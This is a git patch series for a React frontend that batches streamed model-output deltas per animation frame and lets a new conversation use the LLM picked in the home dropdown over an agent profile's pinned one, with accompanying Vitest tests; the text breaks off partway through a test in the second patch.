From e5fc3a4be206348fe0bcc5b50f4fae0267abc39a Mon Sep 17 00:00:00 2001 From: Vasco Schiavo <115561717+VascoSch92@users.noreply.github.com> Date: Tue, 18 Aug 2026 14:35:30 +0200 Subject: [PATCH 01/32] perf: batch StreamingDeltaEvents so the UI keeps up with fast models (#16164) Co-authored-by: Graham Neubig --- .../conversation-websocket-context.test.tsx | 120 +++++++++ __tests__/hooks/use-websocket.test.ts | 61 ++--- __tests__/stores/use-event-store.test.ts | 32 ++- .../utils/streaming-delta-batcher.test.ts | 239 ++++++++++++++++++ .../conversation-websocket-context.tsx | 52 ++++ src/hooks/use-websocket.ts | 11 +- src/stores/use-event-store.ts | 20 +- src/utils/streaming-delta-batcher.ts | 75 ++++++ 8 files changed, 552 insertions(+), 58 deletions(-) create mode 100644 __tests__/utils/streaming-delta-batcher.test.ts create mode 100644 src/utils/streaming-delta-batcher.ts diff --git a/__tests__/contexts/conversation-websocket-context.test.tsx b/__tests__/contexts/conversation-websocket-context.test.tsx index 3c0f39288b90..3d544c311ef8 100644 --- a/__tests__/contexts/conversation-websocket-context.test.tsx +++ b/__tests__/contexts/conversation-websocket-context.test.tsx @@ -17,6 +17,7 @@ import { } from "#/api/conversation-metadata-store"; import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; import type { MessageEvent } from "#/types/agent-server/core"; +import { isStreamingDeltaEvent } from "#/types/agent-server/type-guards"; type CapturedWebSocketOptions = { onMessage?: (event: { data: string }) => void; @@ -680,6 +681,125 @@ describe("ConversationWebSocketProvider — conversation-scoped event store", () expect(eventIds()).toHaveLength(2); }); + const makeStreamingDelta = (id: string, content: string) => ({ + id, + timestamp: new Date().toISOString(), + source: "agent", + kind: "StreamingDeltaEvent", + content, + reasoning_content: null, + }); + + const makeAgentMessage = (id: string, text: string): MessageEvent => ({ + id, + timestamp: new Date(Date.now() + 1000).toISOString(), + source: "agent", + llm_message: { role: "assistant", content: [{ type: "text", text }] }, + activated_skills: [], + extended_content: [], + }); + + const renderProviderWithUrl = (conversationId: string) => + render( + + +
+ + , + ); + + it("buffers streaming deltas, then flushes them (reconciled) when the final message arrives", async () => { + renderProviderWithUrl("conv-stream"); + await waitFor(() => expect(wsCapture.mainOnMessage).not.toBeNull()); + await waitFor(() => expect(eventIds()).toEqual(["user-msg-conv-stream"])); + + // Deltas arrive: they are buffered by the batcher, NOT committed per token. + act(() => { + wsCapture.mainOnMessage!({ + data: JSON.stringify(makeStreamingDelta("d1", "I'll help")), + }); + wsCapture.mainOnMessage!({ + data: JSON.stringify(makeStreamingDelta("d2", " with that.")), + }); + }); + expect(eventIds()).toEqual(["user-msg-conv-stream"]); + + // The final agent message is a non-delta event: the handler flushes the + // buffered deltas first, so the message reconciles the streamed text in + // place instead of racing ahead of it. + act(() => { + wsCapture.mainOnMessage!({ + data: JSON.stringify( + makeAgentMessage("agent-final", "I'll help with that. Done."), + ), + }); + }); + + const { uiEvents, eventIds: ids } = useEventStore.getState(); + // One reconciled agent bubble: the canonical final message supersedes the + // flushed deltas, so the streamed text renders once and is never duplicated. + expect(uiEvents).toHaveLength(2); + const bubble = uiEvents[1] as MessageEvent; + expect(bubble.id).toBe("agent-final"); + expect(bubble.llm_message.content).toEqual([ + { type: "text", text: "I'll help with that. Done." }, + ]); + expect(uiEvents.some((event) => isStreamingDeltaEvent(event))).toBe(false); + // eventIds tracks the two durable events, never the deltas. + expect(ids.size).toBe(2); + }); + + it("discards buffered deltas from the previous conversation on switch", async () => { + const { rerender } = renderProviderWithUrl("conv-a"); + await waitFor(() => expect(wsCapture.mainOnMessage).not.toBeNull()); + await waitFor(() => expect(eventIds()).toEqual(["user-msg-conv-a"])); + + // Buffer deltas for A, then switch to B before they flush. + act(() => { + wsCapture.mainOnMessage!({ + data: JSON.stringify(makeStreamingDelta("a1", "STALE")), + }); + }); + rerender( + + +
+ + , + ); + await waitFor(() => expect(eventIds()).toEqual(["user-msg-conv-b"])); + + // B streams and finalizes. If the switch had NOT reset the batcher, A's + // "STALE" delta would still be buffered and merge into B's stream here. + act(() => { + wsCapture.mainOnMessage!({ + data: JSON.stringify(makeStreamingDelta("b1", "fresh")), + }); + wsCapture.mainOnMessage!({ + data: JSON.stringify(makeAgentMessage("agent-b", "fresh.")), + }); + }); + + const { uiEvents, events } = useEventStore.getState(); + expect(uiEvents).toHaveLength(2); + expect((uiEvents[1] as MessageEvent).llm_message.content).toEqual([ + { type: "text", text: "fresh." }, + ]); + // The committed delta carries B's text only — had A's buffer survived the + // switch it would have merged in ahead of it as "STALEfresh". + const committedDeltas = events.filter((event) => + isStreamingDeltaEvent(event), + ); + expect(committedDeltas.map((delta) => delta.content)).toEqual(["fresh"]); + expect(JSON.stringify(events)).not.toContain("STALE"); + }); + it("consumes the optimistic pending bubble when the echoed user message arrives via REST preload", async () => { // Arrange: a cloud start-task conversation left a "Sending…" bubble whose // content matches the first message the server has already persisted. With diff --git a/__tests__/hooks/use-websocket.test.ts b/__tests__/hooks/use-websocket.test.ts index 3f2f4a0de014..5f7f49ec4789 100644 --- a/__tests__/hooks/use-websocket.test.ts +++ b/__tests__/hooks/use-websocket.test.ts @@ -56,18 +56,22 @@ describe("useWebSocket", () => { }; it("should establish a WebSocket connection", async () => { - const { result } = renderHook(() => useWebSocket("ws://acme.com/ws")); + const messages: string[] = []; + const { result } = renderHook(() => + useWebSocket("ws://acme.com/ws", { + onMessage: (event) => messages.push(event.data), + }), + ); // Initially should not be connected expect(result.current.isConnected).toBe(false); - expect(result.current.lastMessage).toBe(null); // Wait for connection to be established await waitForConnection(result); - // Should receive the welcome message from our mock + // Should deliver the welcome message from our mock via onMessage await waitFor(() => { - expect(result.current.lastMessage).toBe("Welcome to the WebSocket!"); + expect(messages).toContain("Welcome to the WebSocket!"); }); // Confirm that the WebSocket connection is established when the hook is used @@ -116,8 +120,11 @@ describe("useWebSocket", () => { vi.stubGlobal("WebSocket", MockWebSocket); try { + const messages: string[] = []; const { result, unmount } = renderHook(() => - useWebSocket("ws://acme.com/ws"), + useWebSocket("ws://acme.com/ws", { + onMessage: (event) => messages.push(event.data), + }), ); await waitForConnection(result); @@ -134,7 +141,10 @@ describe("useWebSocket", () => { ); }); - expect(result.current.lastMessage).toBe("third"); + // Every frame is delivered via onMessage, but the hook retains no raw + // message history of its own — not even the latest. + expect(messages).toEqual(["first", "second", "third"]); + expect("lastMessage" in result.current).toBe(false); expect("messages" in result.current).toBe(false); unmount(); @@ -144,32 +154,6 @@ describe("useWebSocket", () => { } }); - it.skip("should handle incoming messages correctly", async () => { - const { result } = renderHook(() => useWebSocket("ws://acme.com/ws")); - - // Wait for connection to be established - await waitFor(() => { - expect(result.current.isConnected).toBe(true); - }); - - // Should receive the welcome message from our mock - await waitFor(() => { - expect(result.current.lastMessage).toBe("Welcome to the WebSocket!"); - }); - - // Send another message from the mock server - wsLink.broadcast("Hello from server!"); - - await waitFor(() => { - expect(result.current.lastMessage).toBe("Hello from server!"); - }); - - // The hook intentionally keeps only the latest message; consumers that - // need durable history should store parsed events in their own domain - // store instead of retaining every raw websocket frame here. - expect("messages" in result.current).toBe(false); - }); - it("should handle connection errors gracefully", async () => { // Create a mock that will simulate an error const errorLink = ws.link("ws://error-test.com/ws"); @@ -474,23 +458,18 @@ describe("useWebSocket", () => { expect(result.current.isConnected).toBe(true); }); - // Should receive the welcome message from our mock + // onMessage handler should have been called for the welcome message await waitFor(() => { - expect(result.current.lastMessage).toBe("Welcome to the WebSocket!"); + expect(onMessageSpy).toHaveBeenCalledOnce(); }); - // onMessage handler should have been called for the welcome message - expect(onMessageSpy).toHaveBeenCalledOnce(); - // Send another message from the mock server wsLink.broadcast("Hello from server!"); + // onMessage handler should have been called twice now await waitFor(() => { - expect(result.current.lastMessage).toBe("Hello from server!"); + expect(onMessageSpy).toHaveBeenCalledTimes(2); }); - - // onMessage handler should have been called twice now - expect(onMessageSpy).toHaveBeenCalledTimes(2); }); it("should call onError handler when WebSocket encounters an error", async () => { diff --git a/__tests__/stores/use-event-store.test.ts b/__tests__/stores/use-event-store.test.ts index 8517826ac43a..09fe92c65c48 100644 --- a/__tests__/stores/use-event-store.test.ts +++ b/__tests__/stores/use-event-store.test.ts @@ -178,8 +178,10 @@ describe("useEventStore", () => { content: "hello world", }, ]); - expect(result.current.eventIds.has("delta-1")).toBe(true); - expect(result.current.eventIds.has("delta-2")).toBe(true); + // Transient deltas are never tracked in `eventIds` — copying that Set once + // per token would otherwise be O(n^2). + expect(result.current.eventIds.has("delta-1")).toBe(false); + expect(result.current.eventIds.has("delta-2")).toBe(false); }); it("should compact streaming deltas during bulk add", () => { @@ -196,8 +198,30 @@ describe("useEventStore", () => { id: "delta-1", content: "hello world", }); - expect(result.current.eventIds.has("delta-1")).toBe(true); - expect(result.current.eventIds.has("delta-2")).toBe(true); + // Transient deltas are never tracked in `eventIds`. + expect(result.current.eventIds.has("delta-1")).toBe(false); + expect(result.current.eventIds.has("delta-2")).toBe(false); + }); + + it("should not grow eventIds with the raw streaming-delta count", () => { + const { result } = renderHook(() => useEventStore()); + + act(() => { + result.current.addEvent(mockUserMessageEvent); + for (let i = 0; i < 1000; i += 1) { + result.current.addEvent(makeStreamingDeltaEvent(`delta-${i}`, "x")); + } + }); + + // 1000 deltas collapse to a single event alongside the user message, and + // eventIds tracks only the durable user message — not the deltas. This is + // what keeps the per-token Set copy from going quadratic. + expect(result.current.events).toHaveLength(2); + expect(result.current.eventIds.size).toBe(1); + expect(result.current.eventIds.has(mockUserMessageEvent.id)).toBe(true); + expect( + (result.current.events[1] as StreamingDeltaEvent).content, + ).toHaveLength(1000); }); it("should not compact streaming deltas from different senders (#1656)", () => { diff --git a/__tests__/utils/streaming-delta-batcher.test.ts b/__tests__/utils/streaming-delta-batcher.test.ts new file mode 100644 index 000000000000..25f44f266813 --- /dev/null +++ b/__tests__/utils/streaming-delta-batcher.test.ts @@ -0,0 +1,239 @@ +import { describe, it, expect } from "vitest"; +import { + createStreamingDeltaBatcher, + DeltaFlushScheduler, +} from "#/utils/streaming-delta-batcher"; +import { useEventStore } from "#/stores/use-event-store"; +import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event"; +import { MessageEvent } from "#/types/agent-server/core"; +import { isStreamingDeltaEvent } from "#/types/agent-server/type-guards"; + +const makeDelta = ( + id: string, + content: string | null, + reasoning: string | null = null, +): StreamingDeltaEvent => ({ + id, + timestamp: "2024-03-01T00:00:00Z", + source: "agent", + kind: "StreamingDeltaEvent", + content, + reasoning_content: reasoning, +}); + +/** + * Deterministic stand-in for `requestAnimationFrame`: callbacks only run when + * the test explicitly `tick()`s a frame, so cadence is fully controlled. + */ +function manualScheduler() { + const callbacks = new Map void>(); + let nextHandle = 1; + const scheduler: DeltaFlushScheduler = { + schedule: (callback) => { + const handle = nextHandle; + nextHandle += 1; + callbacks.set(handle, callback); + return handle; + }, + cancel: (handle) => { + callbacks.delete(handle); + }, + }; + return { + scheduler, + pendingFrames: () => callbacks.size, + tick: () => { + const scheduled = [...callbacks.values()]; + callbacks.clear(); + scheduled.forEach((callback) => callback()); + }, + }; +} + +describe("createStreamingDeltaBatcher", () => { + it("coalesces adjacent deltas into a single commit per frame", () => { + const commits: StreamingDeltaEvent[] = []; + const clock = manualScheduler(); + const batcher = createStreamingDeltaBatcher( + (delta) => commits.push(delta), + clock.scheduler, + ); + + batcher.enqueue(makeDelta("d1", "Hello")); + batcher.enqueue(makeDelta("d2", ", ")); + batcher.enqueue(makeDelta("d3", "world")); + + // Nothing commits until the frame fires, and three enqueues schedule only + // ONE frame (not one per delta). + expect(commits).toHaveLength(0); + expect(clock.pendingFrames()).toBe(1); + + clock.tick(); + + expect(commits).toHaveLength(1); + expect(commits[0].content).toBe("Hello, world"); + // The coalesced event keeps the first delta's identity. + expect(commits[0].id).toBe("d1"); + }); + + it("merges content and reasoning_content independently, in order", () => { + const commits: StreamingDeltaEvent[] = []; + const clock = manualScheduler(); + const batcher = createStreamingDeltaBatcher( + (delta) => commits.push(delta), + clock.scheduler, + ); + + batcher.enqueue(makeDelta("d1", "ans", "think-")); + batcher.enqueue(makeDelta("d2", "wer", null)); + batcher.enqueue(makeDelta("d3", null, "more")); + clock.tick(); + + expect(commits).toHaveLength(1); + expect(commits[0].content).toBe("answer"); + expect(commits[0].reasoning_content).toBe("think-more"); + }); + + it("flush() commits synchronously and cancels the scheduled frame", () => { + const commits: StreamingDeltaEvent[] = []; + const clock = manualScheduler(); + const batcher = createStreamingDeltaBatcher( + (delta) => commits.push(delta), + clock.scheduler, + ); + + batcher.enqueue(makeDelta("d1", "a")); + batcher.enqueue(makeDelta("d2", "b")); + batcher.flush(); + + expect(commits).toHaveLength(1); + expect(commits[0].content).toBe("ab"); + // The pending frame was cancelled, so ticking must not double-commit. + expect(clock.pendingFrames()).toBe(0); + clock.tick(); + expect(commits).toHaveLength(1); + }); + + it("flush() is a no-op when nothing is buffered", () => { + const commits: StreamingDeltaEvent[] = []; + const clock = manualScheduler(); + const batcher = createStreamingDeltaBatcher( + (delta) => commits.push(delta), + clock.scheduler, + ); + + batcher.flush(); + expect(commits).toHaveLength(0); + }); + + it("reset() drops buffered deltas without committing", () => { + const commits: StreamingDeltaEvent[] = []; + const clock = manualScheduler(); + const batcher = createStreamingDeltaBatcher( + (delta) => commits.push(delta), + clock.scheduler, + ); + + batcher.enqueue(makeDelta("d1", "lost")); + batcher.reset(); + clock.tick(); + + expect(commits).toHaveLength(0); + expect(clock.pendingFrames()).toBe(0); + }); + + it("preserves text byte-for-byte and order across thousands of 1-char deltas faster than 60Hz", () => { + const commits: StreamingDeltaEvent[] = []; + const clock = manualScheduler(); + const batcher = createStreamingDeltaBatcher( + (delta) => commits.push(delta), + clock.scheduler, + ); + + const total = 5000; + let expected = ""; + for (let i = 0; i < total; i += 1) { + const char = String.fromCharCode(97 + (i % 26)); + expected += char; + batcher.enqueue(makeDelta(`d${i}`, char)); + // A frame only every 100 deltas => deltas arrive far faster than frames. + if (i % 100 === 99) { + clock.tick(); + } + } + batcher.flush(); // boundary flush, as a non-delta event would trigger + + // Commits are bounded by frames, not by provider chunk count. + expect(commits.length).toBeLessThan(total); + expect(commits.length).toBeLessThanOrEqual(total / 100 + 1); + // Concatenating the per-frame batches reproduces the stream exactly (the + // store folds these into one accumulating event by position). + expect(commits.map((delta) => delta.content).join("")).toBe(expected); + }); +}); + +describe("createStreamingDeltaBatcher wired into the event store", () => { + const userMessage: MessageEvent = { + id: "user-1", + timestamp: "2024-02-01T00:00:00Z", + source: "user", + llm_message: { role: "user", content: [{ type: "text", text: "hi" }] }, + activated_skills: [], + extended_content: [], + }; + + it("coalesces deltas across frames, then reconciles into one bubble when the final message arrives", () => { + useEventStore.getState().clearEvents(); + const clock = manualScheduler(); + // Commit into the real store exactly as ConversationWebSocketProvider does. + const batcher = createStreamingDeltaBatcher( + (delta) => useEventStore.getState().addEvent(delta), + clock.scheduler, + ); + + useEventStore.getState().addEvent(userMessage); + + // Stream one char per delta, flushing a frame only every 5 chars, so deltas + // arrive faster than frames — the case where the UI used to fall behind. + const streamed = "I'll start working on that."; + [...streamed].forEach((char, i) => { + batcher.enqueue(makeDelta(`d${i}`, char)); + if (i % 5 === 4) { + clock.tick(); + } + }); + + // A non-delta event (the final agent message) arrives. The provider flushes + // buffered deltas first, so the durable message can never overtake its own + // streamed text. + batcher.flush(); + const finalMessage: MessageEvent = { + id: "agent-1", + timestamp: "2024-04-01T00:00:00Z", + source: "agent", + llm_message: { + role: "assistant", + content: [{ type: "text", text: "I'll start working on that. Done." }], + }, + activated_skills: [], + extended_content: [], + }; + useEventStore.getState().addEvent(finalMessage); + + const state = useEventStore.getState(); + // The user message plus a single reconciled agent bubble — the canonical + // final message supersedes the streamed deltas rather than duplicating them. + expect(state.uiEvents).toHaveLength(2); + const bubble = state.uiEvents[1] as MessageEvent; + expect(bubble.id).toBe("agent-1"); + expect(bubble.llm_message.content).toEqual([ + { type: "text", text: "I'll start working on that. Done." }, + ]); + // No provisional delta survives, so the streamed text renders exactly once. + expect(state.uiEvents.some((event) => isStreamingDeltaEvent(event))).toBe( + false, + ); + // eventIds tracks only the two durable events, never the 27 deltas. + expect(state.eventIds.size).toBe(2); + }); +}); diff --git a/src/contexts/conversation-websocket-context.tsx b/src/contexts/conversation-websocket-context.tsx index bae553c18e83..7b7f5ed57c99 100644 --- a/src/contexts/conversation-websocket-context.tsx +++ b/src/contexts/conversation-websocket-context.tsx @@ -38,8 +38,13 @@ import { isBrowserNavigateActionEvent, isSwitchLLMObservationEvent, isCanvasUIActionEvent, + isStreamingDeltaEvent, isLaunchChildConversationActionEvent, } from "#/types/agent-server/type-guards"; +import { + createStreamingDeltaBatcher, + StreamingDeltaBatcher, +} from "#/utils/streaming-delta-batcher"; import { handleCanvasUIAction } from "#/services/canvas-ui"; import { handleLaunchChildConversationAction } from "#/services/child-conversation-launch"; import { ConversationStateUpdateEventStats } from "#/types/agent-server/core/events/conversation-state-event"; @@ -154,6 +159,26 @@ export function ConversationWebSocketProvider({ const { appendInput, appendOutput } = useCommandStore(); const resetBrowserStore = useBrowserStore((state) => state.reset); + // Coalesce streaming deltas to ≤1 store commit/render per frame. + // Separate batchers keep the main and planning streams from ever merging. + const mainDeltaBatcherRef = useRef(null); + if (mainDeltaBatcherRef.current === null) { + mainDeltaBatcherRef.current = createStreamingDeltaBatcher((delta) => { + useEventStore.getState().addEvent(delta); + // A delta means connectivity recovered — mirror handleNonErrorEvent. + useErrorMessageStore.getState().clearConnectionError(); + }); + } + const planningDeltaBatcherRef = useRef(null); + if (planningDeltaBatcherRef.current === null) { + planningDeltaBatcherRef.current = createStreamingDeltaBatcher((delta) => { + useEventStore + .getState() + .addEvent({ ...delta, isFromPlanningAgent: true }); + useErrorMessageStore.getState().clearConnectionError(); + }); + } + // History loading state. // - Main conversation history is now loaded via REST (`useConversationHistory`), // so its loading state mirrors the REST query state (see below). @@ -498,6 +523,17 @@ export function ConversationWebSocketProvider({ latestPlanningFileEventRef.current = null; }, [conversationId]); + // Drop buffered deltas on conversation switch/unmount: the store is cleared on + // switch, so flushing them would leak into the next conversation. + useEffect(() => { + const mainBatcher = mainDeltaBatcherRef.current; + const planningBatcher = planningDeltaBatcherRef.current; + return () => { + mainBatcher?.reset(); + planningBatcher?.reset(); + }; + }, [conversationId]); + // Merged loading history state - true if either connection is still loading const isLoadingHistory = useMemo( () => isLoadingHistoryMain || isLoadingHistoryPlanning, @@ -515,6 +551,14 @@ export function ConversationWebSocketProvider({ // Use type guard to validate v1 event structure if (isAgentServerEvent(event)) { + // Buffer deltas; nothing else in this handler applies to them. + if (isStreamingDeltaEvent(event)) { + mainDeltaBatcherRef.current?.enqueue(event); + return; + } + // Flush buffered deltas before this event so it can't overtake them. + mainDeltaBatcherRef.current?.flush(); + // A reconnect replays the backlog from a stale anchor. The store // dedups by id, but the side-effects below aren't idempotent, so skip // them for replayed events (#1656). @@ -739,6 +783,14 @@ export function ConversationWebSocketProvider({ // Use type guard to validate v1 event structure if (isAgentServerEvent(event)) { + // Buffer deltas (the commit re-applies the planning flag). + if (isStreamingDeltaEvent(event)) { + planningDeltaBatcherRef.current?.enqueue(event); + return; + } + // Flush buffered deltas before this event so it can't overtake them. + planningDeltaBatcherRef.current?.flush(); + // Skip non-idempotent side-effects for replayed events, as in the // main handler (#1656). const isDuplicateEvent = useEventStore diff --git a/src/hooks/use-websocket.ts b/src/hooks/use-websocket.ts index dd63a5f5300e..66516207ea44 100644 --- a/src/hooks/use-websocket.ts +++ b/src/hooks/use-websocket.ts @@ -14,12 +14,8 @@ export interface WebSocketHookOptions { }; } -export const useWebSocket = ( - url: string, - options?: WebSocketHookOptions, -) => { +export const useWebSocket = (url: string, options?: WebSocketHookOptions) => { const [isConnected, setIsConnected] = React.useState(false); - const [lastMessage, setLastMessage] = React.useState(null); const [error, setError] = React.useState(null); const [isReconnecting, setIsReconnecting] = React.useState(false); const wsRef = React.useRef(null); @@ -67,7 +63,9 @@ export const useWebSocket = ( }; ws.onmessage = (event) => { - setLastMessage(event.data); + // Deliberately no `lastMessage` state here: nothing reads it, and a + // React state write per frame re-renders this hook's owner on every + // streamed token. Consumers subscribe via `onMessage`. optionsRef.current?.onMessage?.(event); }; @@ -207,7 +205,6 @@ export const useWebSocket = ( return { isConnected, - lastMessage, error, socket: wsRef.current, sendMessage, diff --git a/src/stores/use-event-store.ts b/src/stores/use-event-store.ts index ca4132d173cf..cbfa0f800bbd 100644 --- a/src/stores/use-event-store.ts +++ b/src/stores/use-event-store.ts @@ -90,14 +90,19 @@ export interface EventState { } const appendEvent = (state: EventState, event: OHEvent): EventState => { - // Deduplicate: skip if event with same id already exists (O(1) lookup) const eventId = getEventId(event); - if (eventId !== undefined && state.eventIds.has(eventId)) { + // Transient deltas merge by position and are never persisted/resent, so skip + // id tracking for them — copying the growing `eventIds` Set per token would + // otherwise be O(n^2). + const isDelta = isStreamingDeltaEvent(event); + + // Deduplicate: skip if event with same id already exists (O(1) lookup) + if (!isDelta && eventId !== undefined && state.eventIds.has(eventId)) { return state; } const newEventIds = - eventId !== undefined + !isDelta && eventId !== undefined ? new Set(state.eventIds).add(eventId) : state.eventIds; @@ -105,7 +110,7 @@ const appendEvent = (state: EventState, event: OHEvent): EventState => { const lastEvent = state.events[lastEventIndex]; const shouldMergeStreamingDelta = lastEvent && - isStreamingDeltaEvent(event) && + isDelta && isStreamingDeltaEvent(lastEvent) && isSameStreamingSender(event, lastEvent); const events = [...state.events]; @@ -162,11 +167,14 @@ export const useEventStore = create()((set) => ({ for (const event of incoming) { const eventId = getEventId(event); - const isDuplicate = eventId !== undefined && eventIds.has(eventId); + // See `appendEvent`: transient deltas are not tracked in `eventIds`. + const isDelta = isStreamingDeltaEvent(event); + const isDuplicate = + !isDelta && eventId !== undefined && eventIds.has(eventId); if (!isDuplicate) { added = true; - if (eventId !== undefined) { + if (!isDelta && eventId !== undefined) { eventIds.add(eventId); } diff --git a/src/utils/streaming-delta-batcher.ts b/src/utils/streaming-delta-batcher.ts new file mode 100644 index 000000000000..f0231f80273f --- /dev/null +++ b/src/utils/streaming-delta-batcher.ts @@ -0,0 +1,75 @@ +import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event"; +import { mergeStreamingDeltaEvent } from "#/utils/handle-event-for-ui"; + +/** Schedules a single deferred callback (defaults to the animation frame). */ +export interface DeltaFlushScheduler { + schedule: (callback: () => void) => number; + cancel: (handle: number) => void; +} + +const defaultScheduler: DeltaFlushScheduler = + typeof requestAnimationFrame === "function" + ? { + schedule: (callback) => requestAnimationFrame(callback), + cancel: (handle) => cancelAnimationFrame(handle), + } + : { + schedule: (callback) => setTimeout(callback, 16) as unknown as number, + cancel: (handle) => clearTimeout(handle), + }; + +export interface StreamingDeltaBatcher { + /** Buffer a delta; a flush is scheduled for the next frame if not already. */ + enqueue: (event: StreamingDeltaEvent) => void; + /** Commit buffered deltas now. Call before any non-delta event. */ + flush: () => void; + /** Drop buffered deltas without committing. Call on unmount / conversation switch. */ + reset: () => void; +} + +/** + * Coalesces adjacent `StreamingDeltaEvent`s and commits them at most once per + * animation frame, so a fast model can't force a store commit + re-render per + * token. Callers MUST `flush()` before any non-delta event so a + * durable message/action can't render ahead of its own streamed text. + */ +export function createStreamingDeltaBatcher( + commit: (event: StreamingDeltaEvent) => void, + scheduler: DeltaFlushScheduler = defaultScheduler, +): StreamingDeltaBatcher { + let pending: StreamingDeltaEvent[] = []; + let frame: number | null = null; + + const cancelFrame = () => { + if (frame !== null) { + scheduler.cancel(frame); + frame = null; + } + }; + + const flush = () => { + cancelFrame(); + if (pending.length === 0) { + return; + } + const batch = pending; + pending = []; + commit( + batch.reduce((merged, delta) => mergeStreamingDeltaEvent(delta, merged)), + ); + }; + + return { + enqueue: (event) => { + pending.push(event); + if (frame === null) { + frame = scheduler.schedule(flush); + } + }, + flush, + reset: () => { + cancelFrame(); + pending = []; + }, + }; +} From be584ade934b3c801486d277013c7e65ab8787d8 Mon Sep 17 00:00:00 2001 From: Hiep Le <69354317+hieptl@users.noreply.github.com> Date: Tue, 18 Aug 2026 19:50:02 +0700 Subject: [PATCH 02/32] fix: honor the home LLM dropdown selection over an agent profile's pinned LLM (#16671) --- .../mutation/use-create-conversation.test.tsx | 192 +++++++++++++++++- src/hooks/mutation/use-create-conversation.ts | 39 +++- 2 files changed, 221 insertions(+), 10 deletions(-) diff --git a/__tests__/hooks/mutation/use-create-conversation.test.tsx b/__tests__/hooks/mutation/use-create-conversation.test.tsx index fd63adf2ace6..4f0c13333af8 100644 --- a/__tests__/hooks/mutation/use-create-conversation.test.tsx +++ b/__tests__/hooks/mutation/use-create-conversation.test.tsx @@ -98,6 +98,7 @@ describe("useCreateConversation", () => { useLlmProfilesMock.mockReturnValue({ data: { active_profile: null } }); removeStoredConversationMetadata("conv-with-plugins"); removeStoredConversationMetadata("conv-ref-stamp"); + removeStoredConversationMetadata("conv-dropdown-override"); }); it("passes suggested tasks to the V1 create conversation API", async () => { @@ -510,9 +511,11 @@ describe("useCreateConversation", () => { }); it("stamps the launched openhands profile's llm_profile_ref into conversation metadata (#1082)", async () => { - // A named (non-default) profile launches via the profile path and runs its - // own llm_profile_ref — which differs from the standalone active LLM - // profile — so the switcher pill must name the ref, not the active profile. + // A named (non-default) profile launches via the profile path when no + // dropdown selection exists (active_profile null — a differing selection + // would win the launch instead, #16539) and runs its own llm_profile_ref, + // so the switcher pill must name the ref, not the hook's stale cached + // active profile. useLlmProfilesMock.mockReturnValue({ data: { active_profile: "standalone-active" }, }); @@ -531,7 +534,7 @@ describe("useCreateConversation", () => { }); listLlmProfilesMock.mockResolvedValue({ profiles: [{ name: "claude" }], - active_profile: "standalone-active", + active_profile: null, }); const createConversationSpy = vi .spyOn(AgentServerConversationService, "createConversation") @@ -559,4 +562,185 @@ describe("useCreateConversation", () => { ).toBe("claude"), ); }); + + it("honors the home LLM dropdown selection over a named profile's pinned ref (#16539)", async () => { + // The home pill shows the account-wide active LLM profile, so when it + // differs from the active named profile's pinned llm_profile_ref the + // launch must run the selection: downgrade to the agent_settings path + // (which the dropdown activation syncs) and stamp the selected profile. + listAgentProfilesMock.mockResolvedValue({ + profiles: [ + { + id: "profile-luna", + name: "openhands-luna", + agent_kind: "openhands", + revision: 1, + llm_profile_ref: "pinned-model", + mcp_server_refs: null, + }, + ], + active_agent_profile_id: "profile-luna", + }); + listLlmProfilesMock.mockResolvedValue({ + profiles: [{ name: "pinned-model" }, { name: "selected-model" }], + active_profile: "selected-model", + }); + const createConversationSpy = vi + .spyOn(AgentServerConversationService, "createConversation") + .mockResolvedValue({ + id: "task-id", + app_conversation_id: "conv-dropdown-override", + agent_server_url: "http://agent-server.local", + } as never); + + const { result } = renderHook(() => useCreateConversation(), { + wrapper: ({ children }) => ( + + {children} + + ), + }); + + await result.current.mutateAsync({ query: "hello" }); + + const call = createConversationSpy.mock.lastCall; + expect(call?.[0]?.agentProfileId).toBeUndefined(); + await waitFor(() => + expect( + getStoredConversationMetadata("conv-dropdown-override")?.active_profile, + ).toBe("selected-model"), + ); + }); + + it("keeps the named profile path when the dropdown selection matches its pinned ref (#16539)", async () => { + listAgentProfilesMock.mockResolvedValue({ + profiles: [ + { + id: "profile-luna", + name: "openhands-luna", + agent_kind: "openhands", + revision: 1, + llm_profile_ref: "pinned-model", + mcp_server_refs: null, + }, + ], + active_agent_profile_id: "profile-luna", + }); + listLlmProfilesMock.mockResolvedValue({ + profiles: [{ name: "pinned-model" }], + active_profile: "pinned-model", + }); + const createConversationSpy = vi + .spyOn(AgentServerConversationService, "createConversation") + .mockResolvedValue({ + id: "task-id", + app_conversation_id: "conv-1", + agent_server_url: "http://agent-server.local", + } as never); + + const { result } = renderHook(() => useCreateConversation(), { + wrapper: ({ children }) => ( + + {children} + + ), + }); + + await result.current.mutateAsync({ query: "hello" }); + + const call = createConversationSpy.mock.lastCall; + expect(call?.[0]?.agentProfileId).toBe("profile-luna"); + }); + + it("keeps an explicitly-picked agent profile over the dropdown selection (#16539)", async () => { + // An explicit `agentProfileId` (the in-conversation profile picker) is a + // deliberate profile pick — its pinned ref stays authoritative even when + // the account-wide active LLM profile differs. + listAgentProfilesMock.mockResolvedValue({ + profiles: [ + { + id: "profile-luna", + name: "openhands-luna", + agent_kind: "openhands", + revision: 1, + llm_profile_ref: "pinned-model", + mcp_server_refs: null, + }, + ], + active_agent_profile_id: null, + }); + listLlmProfilesMock.mockResolvedValue({ + profiles: [{ name: "pinned-model" }, { name: "selected-model" }], + active_profile: "selected-model", + }); + const createConversationSpy = vi + .spyOn(AgentServerConversationService, "createConversation") + .mockResolvedValue({ + id: "task-id", + app_conversation_id: "conv-1", + agent_server_url: "http://agent-server.local", + } as never); + + const { result } = renderHook(() => useCreateConversation(), { + wrapper: ({ children }) => ( + + {children} + + ), + }); + + await result.current.mutateAsync({ + query: "hello", + agentProfileId: "profile-luna", + }); + + const call = createConversationSpy.mock.lastCall; + expect(call?.[0]?.agentProfileId).toBe("profile-luna"); + }); + + it("keeps the named profile path on cloud regardless of the active LLM profile (#16539)", async () => { + // The dropdown override is local-only, like the other downgrades: cloud + // has no agent_settings payload to fall back to. + mockUseActiveBackend.mockReturnValue({ + backend: { id: "cloud-1", kind: "cloud" }, + orgId: null, + }); + listAgentProfilesMock.mockResolvedValue({ + profiles: [ + { + id: "profile-luna", + name: "openhands-luna", + agent_kind: "openhands", + revision: 1, + llm_profile_ref: "pinned-model", + mcp_server_refs: null, + }, + ], + active_agent_profile_id: "profile-luna", + }); + listLlmProfilesMock.mockResolvedValue({ + profiles: [{ name: "pinned-model" }, { name: "selected-model" }], + 